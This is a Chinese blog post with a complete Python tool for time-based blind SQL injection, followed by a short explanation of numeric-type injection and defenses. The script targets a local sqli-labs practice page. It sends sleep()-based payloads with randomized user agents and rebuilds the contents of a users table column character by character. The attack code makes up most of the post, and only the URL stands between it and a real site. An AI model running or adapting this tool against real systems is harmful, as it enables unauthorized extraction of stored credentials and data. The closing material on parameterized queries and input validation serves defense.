SQL注入代码实践(盲注-获取字段中内容【数字型】)

SQL注入盲注结果获取与字符拼接
该代码实现了一个SQL注入盲注工具,通过ASCII码判断目标数据库中的信息。它首先确定字段长度,然后逐位判断字符,利用延时注入技术验证ASCII值,最终拼接出字段内容。
# -*- coding: utf-8 -*-
"""
@Time : 2022/4/4 22:10
@Auth : zhangxiang
@File :BlindInject_NumResult.py
@IDE :PyCharm
@Motto:ABC(Always Be Coding)

"""
from urllib import request
from urllib import parse
import re
import time
import sys
import random
from ua_info import ua_list
from GetResultLength_Num import GetResultLength_Num

class BlindInject_NumResult:
    def __init__(self):
        pass
    def StartInject_NumResult(self,url,code,resultList,TableName,numResult,ColumnName):
        flag=0
        #%20and%20if(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),1,1)=%27e%27,sleep(5),1)
        for num in range(0, numResult+1):

            url = url
            judgeStr = "%20and%20if(ascii(substr((select%20group_concat(ColumnName)%20from%20TableName" \
                       "),changeNum,1))=%27replaceStr%27,sleep(2),1)"
            submitStr = "&submit=0x5375626D6974%23"
            patternTableName = r"TableName"
            replaceTableName = TableName
            changeName1 = re.sub(patternTableName, replaceTableName, judgeStr)
            patternColumnName = r"ColumnName"
            replaceColumnName = ColumnName
            changeName2 = re.sub(patternColumnName, replaceColumnName, changeName1)
            pattern1 = r"changeNum"
            replace1 = str(num)
            FisWord = re.sub(pattern1, replace1, changeName2)

            for x in range(44,123):#用ascii码判断,排除大小写错误
                asciiNum = str(x)
                word = FisWord + submitStr
                # 正则chr(asciiNum)
                pattern2 = r"replaceStr"
                replace2 = asciiNum
                SeWord = re.sub(pattern2, replace2, word)
                full_url = url + SeWord
                # print(full_url)
                # 2.发请求保存到本地
                headers = {'User-Agent':random.choice(ua_list)}
                startTime = time.time()
                req = request.Request(url=full_url, headers=headers)
                res = request.urlopen(req)

                endTime = time.time()
                allTime = endTime - startTime
                # print(allTime)
                # print(flag)

                if (resultList[flag] == "None"):
                    print("注入结束")
                    return resultList

                if (allTime > 2):
                    print("*" * 200)
                    asciiRe = chr(x)
                    resultList.append(asciiRe)
                    print("得到盲注结果:" + str(resultList))
                    print("注入的payload:" + full_url)
                    print("使用的时间:" + str(allTime))
                    print("*" * 200)
                    flag = flag+1
                else:
                    pass

        return resultList
    def getStr(self,resultList):  # 将列表值转为字符串
                    resultList.pop(0)
                    list2 = [str(i) for i in resultList]
                    strList = ''.join(list2)
                    return strList




if __name__ == '__main__':
    BlindInject_NumResult = BlindInject_NumResult()
    GetResultLength_Num = GetResultLength_Num()
    TableName = "users"
    ColumnName="username"
    resultList = ["开始"]
    path = './code2.txt'
    url = "http://127.0.0.1/Sqli_Edited_Version-master/sqlilabs/Less-2/?id=1"
    f = open(path, 'r', encoding='utf-8')
    code = f.read()
    print(resultList[0])
    print("注入中,请稍等:")
    numResult = GetResultLength_Num.StartGetResultLength_Num(url,TableName,ColumnName)
    print("该字段中的内容的长度为:" + str(numResult))
    resultList = BlindInject_NumResult.StartInject_NumResult(url,code,resultList,TableName,numResult,ColumnName)
    strList = BlindInject_NumResult.getStr(resultList)
    print("该字段中的内容有:"+strList)

数字型 SQL 注入是一种特定类型的 SQL 注入攻击,其特点是攻击者输入的是数字而非字符串。这种注入方式通常发生在应用程序未对用户输入进行充分验证或过滤的情况下。例如,在一个需要接收数字参数的 URL 或表单中,如果直接将用户输入拼接到 SQL 查询语句中而没有进行任何处理,则可能遭受数字型 SQL 注入攻击。 ### 数字型 SQL 注入的基本原理 在数字型 SQL 注入中,攻击者利用的是 SQL 语句中的条件逻辑来推断出数据库的信息。由于数字可以直接用于比较和运算,因此这类注入往往更容易实现(Blind SQL Injection),即即使没有明确的错误信息反馈给攻击者,也可以通过观察应用的行为变化来判断注入是否成功。 #### 获取数据库名称的方法 要通过数字型注入获取数据库名称,通常会采用基于布尔的技术。这种方法依赖于向 SQL 查询中添加额外的布尔表达式,并根据页面响应的变化来判断这些表达式的真假值。具体步骤如下: 1. **确定注入点**:首先找到一个可以接受数字输入并将其直接嵌入到 SQL 查询中的位置。 2. **测试注入可能性**:尝试提交一些简单的布尔表达式,如 `1=1` 和 `1=2`,查看应用返回的结果是否有差异。 3. **构造复杂的布尔查询**:一旦确认存在注入漏洞,就可以开始构建更复杂的 SQL 语句来逐步探测数据库结构。例如,可以通过如下查询来检查当前数据库名的第一个字符是否为某个特定字母: ```sql SELECT * FROM users WHERE id = 1 AND ASCII(SUBSTRING((SELECT DB_NAME()), 1, 1)) > 70; ``` 这里使用了 `DB_NAME()` 函数来获取当前数据库的名字,`SUBSTRING` 来提取名字中的单个字符,`ASCII` 来转换成 ASCII 码值,并与 70(对应大写字母 'F')做比较[^4]。 4. **迭代猜测每个字符**:重复上述过程,调整比较值以缩小范围,直到能够准确地确定出整个数据库名称为止。 ### 防御措施 为了防止数字型 SQL 注入攻击,开发人员应该采取多种安全策略,包括但不限于: - 使用参数化查询或者预编译语句,确保所有用户输入都被视为数据而不是可执行代码- 对所有的用户输入进行严格的校验,特别是对于预期为数字字段,应强制类型转换。 - 最小权限原则,确保数据库账户只拥有完成任务所需的最小权限。 - 实施 Web 应用防火墙 (WAF),它可以识别并拦截常见的 SQL 注入模式。 - 定期更新和打补丁,保持数据库管理系统和其他相关软件的安全性。 通过以上方法和技术,攻击者可以在存在漏洞的应用程序上实施数字型 SQL 注入获取敏感信息,比如数据库名称。然而,只要遵循最佳实践并采用适当的安全机制,就能够有效地抵御此类攻击。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值